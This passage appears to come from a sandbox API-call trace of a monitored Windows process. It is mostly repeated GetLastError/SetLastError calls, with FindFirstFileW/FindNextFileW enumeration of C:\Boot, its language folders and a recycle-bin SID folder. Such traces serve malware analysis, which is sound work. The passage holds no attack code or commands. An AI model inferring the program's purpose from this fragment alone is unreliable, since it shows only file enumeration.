(dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.899] GetLastError () returned 0x0 [0046.899] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.900] GetLastError () returned 0x0 [0046.900] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.901] SetLastError (dwErrCode=0x0) [0046.901] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.902] SetLastError (dwErrCode=0x0) [0046.902] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.903] SetLastError (dwErrCode=0x0) [0046.903] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.904] SetLastError (dwErrCode=0x0) [0046.904] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.905] SetLastError (dwErrCode=0x0) [0046.905] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.906] SetLastError (dwErrCode=0x0) [0046.906] GetLastError () returned 0x0 [0046.907] SetLastError (dwErrCode=0x0) [0046.907] GetLastError () returned 0x0 [0046.907] SetLastError (dwErrCode=0x0) [0046.907] GetLastError () returned 0x0 [0046.907] SetLastError (dwErrCode=0x0) [0046.907] GetLastError () returned 0x0 [0046.907] SetLastError (dwErrCode=0x0) [0046.907] GetLastError () returned 0x0 [0046.907] SetLastError (dwErrCode=0x0) [0046.907] FindNextFileW (in: hFindFile=0x58bc68, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0046.907] FindClose (in: hFindFile=0x58bc68 | out: hFindFile=0x58bc68) returned 1 [0046.907] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11b6fa8 | out: hHeap=0xb80000) returned 1 [0046.907] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0046.907] FindClose (in: hFindFile=0x58b1c8 | out: hFindFile=0x58b1c8) returned 1 [0046.907] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x11a6fa0 | out: hHeap=0xb80000) returned 1 [0046.907] FindNextFileW (in: hFindFile=0x58bba0, lpFindFileData=0x2d5fc98 | out: lpFindFileData=0x2d5fc98*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0046.908] GetLastError () returned 0x12 [0046.908] SetLastError (dwErrCode=0x12) [0046.908] GetLastError () returned 0x12 [0046.908] SetLastError (dwErrCode=0x12) [0046.908] GetLastError () returned 0x12 [0046.908] SetLastError (dwErrCode=0x12) [0046.908] GetLastError () returned 0x12 [0046.908] SetLastError (dwErrCode=0x12) [0046.908] GetLastError () returned 0x12 [0046.908] SetLastError (dwErrCode=0x12) [0046.908] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x10000) returned 0x11a6fa0 [0046.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x58b1c8 [0046.908] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0046.909] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD", cAlternateFileName="")) returned 1 [0046.909] GetLastError () returned 0x12 [0046.909] SetLastError (dwErrCode=0x12) [0046.909] GetLastError () returned 0x12 [0046.909] SetLastError (dwErrCode=0x12) [0046.909] GetLastError () returned 0x12 [0046.909] SetLastError (dwErrCode=0x12) [0046.909] GetLastError () returned 0x12 [0046.909] SetLastError (dwErrCode=0x12) [0046.909] GetLastError () returned 0x12 [0046.909] SetLastError (dwErrCode=0x12) [0046.909] GetLastError () returned 0x12 [0046.909] SetLastError (dwErrCode=0x12) [0046.909] GetLastError () returned 0x12 [0046.909] SetLastError (dwErrCode=0x12) [0046.909] GetLastError () returned 0x12 [0046.909] SetLastError (dwErrCode=0x12) [0046.909] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.910] SetLastError (dwErrCode=0x12) [0046.910] GetLastError () returned 0x12 [0046.911] SetLastError (dwErrCode=0x12) [0046.911] GetLastError () returned 0x12 [0046.911] SetLastError (dwErrCode=0x12) [0046.911] SetEvent (hEvent=0x12c) returned 1 [0046.911] ResetEvent (hEvent=0x138) returned 1 [0046.911] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0046.911] GetLastError () returned 0x12 [0046.911] SetLastError (dwErrCode=0x12) [0046.911] GetLastError () returned 0x12 [0046.911] SetLastError (dwErrCode=0x12) [0046.911] GetLastError () returned 0x12 [0046.911] SetLastError (dwErrCode=0x12) [0046.911] GetLastError () returned 0x12 [0046.911] SetLastError (dwErrCode=0x12) [0046.911] GetLastError () returned 0x12 [0046.911] SetLastError (dwErrCode=0x12) [0046.911] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.912] SetLastError (dwErrCode=0x12) [0046.912] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.913] SetLastError (dwErrCode=0x12) [0046.913] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.914] GetLastError () returned 0x12 [0046.914] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.915] GetLastError () returned 0x12 [0046.915] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.916] SetLastError (dwErrCode=0x12) [0046.916] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.917] SetLastError (dwErrCode=0x12) [0046.917] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.918] SetLastError (dwErrCode=0x12) [0046.918] GetLastError () returned 0x12 [0046.919] SetLastError (dwErrCode=0x12) [0046.919] GetLastError () returned 0x12 [0046.919] SetLastError (dwErrCode=0x12) [0046.919] GetLastError () returned 0x12 [0046.919] SetLastError (dwErrCode=0x12) [0046.919] GetLastError () returned 0x12 [0046.919] SetLastError (dwErrCode=0x12) [0046.919] GetLastError () returned 0x12 [0046.919] SetLastError (dwErrCode=0x12) [0046.919] GetLastError () returned 0x12 [0046.919] SetLastError (dwErrCode=0x12) [0046.919] GetLastError () returned 0x12 [0046.919] SetLastError (dwErrCode=0x12) [0046.919] GetLastError () returned 0x12 [0046.919] SetLastError (dwErrCode=0x12) [0046.919] GetLastError () returned 0x12 [0046.988] SetLastError (dwErrCode=0x12) [0046.988] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0046.989] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0046.990] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x44, dwReserved1=0x44, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0046.990] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0046.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x58bce8 [0047.028] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.028] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.028] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.028] FindClose (in: hFindFile=0x58bce8 | out: hFindFile=0x58bce8) returned 1 [0047.028] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.028] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="da-DK", cAlternateFileName="")) returned 1 [0047.028] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\da-DK\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x58bce8 [0047.028] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.028] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0047.029] FindNextFileW (in: hFindFile=0x58bce8, lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0047.029] FindClose (in: hFindFile=0x58bce8 | out: hFindFile=0x58bce8) returned 1 [0047.029] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x1236fe8 | out: hHeap=0xb80000) returned 1 [0047.029] FindNextFileW (in: hFindFile=0x58b1c8, lpFindFileData=0x2d5fa14 | out: lpFindFileData=0x2d5fa14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="de-DE", cAlternateFileName="")) returned 1 [0047.029] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\de-DE\\*", lpFindFileData=0x2d5f790 | out: lpFindFileData=0x2d5f790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, 